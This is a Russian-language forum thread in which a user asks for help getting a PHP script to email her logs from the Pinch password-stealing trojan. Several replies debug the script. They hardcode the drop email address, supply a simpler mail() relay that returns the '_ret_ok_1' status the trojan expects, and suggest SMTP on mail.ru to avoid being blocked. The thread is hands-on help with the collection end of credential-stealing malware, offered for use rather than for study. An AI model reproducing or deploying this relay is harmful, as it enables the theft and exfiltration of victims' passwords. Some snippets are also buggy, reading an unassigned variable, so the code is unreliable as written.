Помогите разоьраться в скрипте!

  • Автор темы LENAALIK
  • Дата начала
Статус
Закрыто для дальнейших ответов.
L

LENAALIK

#1
Значит так вот я скачала скрипт для отправки логов пинча на мыло.Да вот разобраться не могу.

Код:
<?
$ip=getenv("REMOTE_ADDR");
$email=$_POST['a'];
$subject=$_POST['b']."(".$ip.")";
$msg=$_POST['c'];
$tmp = $msg;
$msg=eregi_replace(" ","+",$tmp);
$headers = "Content-Type: application/octet-stream; name=\"out.bin\"\n";
$headers .= "Content-Transfer-Encoding: base64\n";
$headers .= "Content-Disposition: attachment; filename=\"out.bin\"\n";
mail($email, $subject, $msg, $headers);
?>

<!-- REQUIRED -->
<script language="JavaScript">
window.status = "_ret_ok_1";
</script></body></html>

Я так и посмотрела и подставила такие данные.


Код:
<?
$ip=getenv("REMOTE_ADDR");
$email=$_POST['Sanya@yandex.ru'];
$subject=$_POST['Theme']."(".$ip.")";
$msg=$_POST['Pinch'];
$tmp = $msg;
$msg=eregi_replace(" ","+",$tmp);
$headers = "Content-Type: application/octet-stream; name=\"out.bin\"\n";
$headers .= "Content-Transfer-Encoding: base64\n";
$headers .= "Content-Disposition: attachment; filename=\"out.bin\"\n";
mail($email, $subject, $msg, $headers);
?>

<!-- REQUIRED -->
<script language="JavaScript">
window.status = "_ret_ok_1";
</script></body></html>

Но он почему то не шлёт логи помогите мне скажите в чём моя ошибка.
:)
 
G

Guest_Priest_*

#2
$email=$_POST['Sanya@yandex.ru'];
$subject=$_POST['Theme']."(".$ip.")";


a otkuda v $_POST'e vozmetsa chto to 'Sanya@yandex.ru' => "milo kuda slat" :)
 
A

Andrew Stephanoff

#3
подставляй
Код:
$email="Sanya@yandex.ru";
$subject="Theme(".$ip.")";
$msg="Pinch";
 

admin

Well-known member
08.08.2003
2 754
0
#4
Для: LENAALIK
а чего так всё сложно?
<html><body>
<?
// a - recepient
// b - subject
// c - message body

mail($HTTP_POST_VARS["a"], $HTTP_POST_VARS["b"], $HTTP_POST_VARS["c"]);
?>
<!-- REQUIRED -->
<script language="JavaScript">
window.status = "_ret_ok_1";
</script></body></html>
еслти ты пинч юзала, то мыло там проставляется в проге, которая постом уже кидает всё скрипту.
вообще не советую я тебе такой подход. быстро заблочат.
лучше SMTP юзай на mail.ru
 
L

LENAALIK

#5
Спасибо. Действительно проще. Только хотела дописать рассылку на
несколько адресов, но проблема в том, что все правильно,
но рассылка идет только по первому адресу... А на остальные приходит
сообщение: не доставлено на первый адрес, куда все пришло... :)

Почему так? :)
 
G

Guest

#7
Значит так вот я скачала скрипт для отправки логов пинча на мыло.Да вот разобраться не могу.
Тут все просто. Посмотри на формулировку - определение массива $_POST[].
Это массив с переменными, куда записываются данные, которые переданы на страницу методом POST.
Так делает форма, с методом post:
Код:
<form action="ask.php" method="post" name="askform">
Теперь давай сделаем эту форму:
Скрипт состоит из 2х страниц:
1:
Код:
<form action="ask.php" method="post" name="askform">
E-Mail:<br>
<input type="text" name="UserMail" size="60"><br>
Subj:<br>
<input type="text" name="UserSubj" size="60"><br>
Message:<br>
<textarea name="UserMessage" cols="48" rows="7"></textarea>
<hr>
<input type="submit" name="Submit" value="Отправить">
2:(страница называется ask.php и находится в той же директории, что и страница с формой)
Код:
<?
$ip=getenv("REMOTE_ADDR");
/*Обрати внимание, что в массиве $_POST указаны имена полей формы*/
$email=$_POST['UserMail']; //Здесь адрес, который ввели в форме на предыдущей странице
$subject=$_POST['UserSubj']."(".$ip.")"; //Тут тема и IP отправителя
$msg=$_POST['UserMessage']; //Тут сообщение, которое набрали на предыдущей странице в форме
$msg=eregi_replace(" ","+",$tmp); //Тут, все пробелы в сообщении заменяются на "+" (?зачем?)
$headers = "Content-Type: application/octet-stream; name=\"out.bin\"\n";
$headers .= "Content-Transfer-Encoding: base64\n";
$headers .= "Content-Disposition: attachment; filename=\"out.bin\"\n"; //Тут подвесили аттач.
mail($email, $subject, $msg, $headers); //А тут отправили на ящик тебе
/*У некоторых хостеров для борьбы со спамом отключена функция mail() так что тебе придется уточнить*/
?>
Если форму заполнять не хочется, а логи отправляться будут только тебе, то как самая простая модификация (работает при вызове страницы, 1 страница не нужна).
Код:
<?
$ip=getenv("REMOTE_ADDR");
$email="sanya@yandex.ru"; //Здесь твой адрес
$subject="Theme"."(".$ip.")"; //Тут тема и IP
$msg=$_POST['Pinch'];
$msg=eregi_replace(" ","+",$tmp);
$headers = "Content-Type: application/octet-stream; name=\"out.bin\"\n";
$headers .= "Content-Transfer-Encoding: base64\n";
$headers .= "Content-Disposition: attachment; filename=\"out.bin\"\n";
mail($email, $subject, $msg, $headers);
?>
 
Статус
Закрыто для дальнейших ответов.